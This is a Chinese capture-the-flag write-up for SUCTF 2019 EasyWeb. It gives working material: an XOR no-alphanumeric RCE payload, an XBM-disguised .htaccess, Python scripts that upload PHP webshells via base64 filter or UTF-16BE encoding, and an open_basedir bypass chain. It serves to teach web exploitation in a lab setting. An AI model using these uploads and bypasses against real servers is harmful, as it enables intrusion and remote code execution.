SUCTF 2019 EasyWeb_0x61-0x6F

呜呜呜,我这条懒狗好长时间没刷题了,后面的日子要捡起来了。

源码贴上来:

image-20220210150538110

代码其实可以分为两部分,第一部分是文件上传,第二部分是rce。

我们先来尝试一下rce,好家伙,过滤了很多东西啊。

image-20220210150849473

由此判断,这是无字母无数字rce,有三个思路

1、异或

2、取反

3、自增

由于这里对字符的长度有限制

image-20220210150949879

故采用异或。

这里贴上大神的脚本

<?php
function finds($string){
    $index = 0;
    $a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
    for($i=27;$i<count($a);$i++){
        for($j=27;$j<count($a);$j++){
            $x = $a[$i] ^ $a[$j];
            for($k = 0;$k<strlen($string);$k++){
                if(ord($string[$k]) == $x){
                    echo $string[$k]."\n";
                    echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
                    $index++;
                    if($index == strlen($string)){
                        return 0;
                    }
                }
            }
        }
    }
}
finds("_GET");
?>

运行如图

image-20220210151113658

由此我们可构造payload:

http://127.0.0.1?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

image-20220210152555350

成功出来phpinfo,看一看有没有可以利用的点

image-20220210152650640

发现执行系统的命令全被禁用了,看来rce走不通了。

这里顺带提一嘴,在buu的环境中存在非预期解,flag直接在phpinfo里了

image-20220210152821670

不过还是按照做题的套路来吧,真正的比赛应该不会出现这种情况。

既然rce走不通,那就试一试文件上传吧

image-20220210152933281

各种限制非常多,这里限制了上传php后缀的文件,所以要想办法绕过,最先想到的就算.htaccess解析。

但是上传.htaccess仍然有image-20220210204915083

这个函数限制。

解决这个函数,采用xbm格式,X Bit Map

在计算机图形学中,X Window系统使用X BitMap(XBM),一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成。当格式被普遍使用时,XBM通常出现在标题(.h文件)中,每个图像在标题中存储一个数组。以下C代码示例了一个XBM文件:
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

在这个c文件中高和宽都是有#在前面的,那么我们即使把它放在.htaccess文件中也不会影响.htaccess的实际运行效果。

所以我们在.htaccess里加上

#define width 1337
#define height 1337
.....
.....

就可以绕过绕过这个函数了。

上传.htaccess文件后,要上传一个非php后缀的一句话木马,但本题中仍然对<?进行了检测。

这里有两种方法可以绕过。

1、对一句话木马的内容进行base64编码。

2、使用 utf-16be 来绕过

下面先附上两种方法的exp:

1、

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
#这里的GIF8912后面的12是为了符合base64 8个字节的编码规范
url = "http://95670a2d-e895-4364-bb7b-94939098a4b6.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

本题php环境为7.2,所以无法使用<script language='php'>eval($_REQUEST['shell']);</script>这条payload,所以将shell.ha进行base64编码之后,在.htaccess文件中利用filter://协议将文件解码,从而达到传入shell的目的。

得到

image-20220210212049717

2、

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb') 

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .lethe\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()
        
generate_htacess()

generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")

同理上传即可

image-20220210212639842

一句话木马成功利用。

使用蚁剑成功连接

image-20220210212824536

但是无法访问根目录。

非预期解:

采用蚁剑自带插件进行绕过.

image-20220210213427872

预期解:

绕过open_basedir

这里由于涉及的内容我还不太理解,所以这里直接放出payload,有兴趣的大佬可以深入研究一下。

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

image-20220210214135619

所有文件被列举出来了,下面读取flag值就可以了。

image-20220210214447849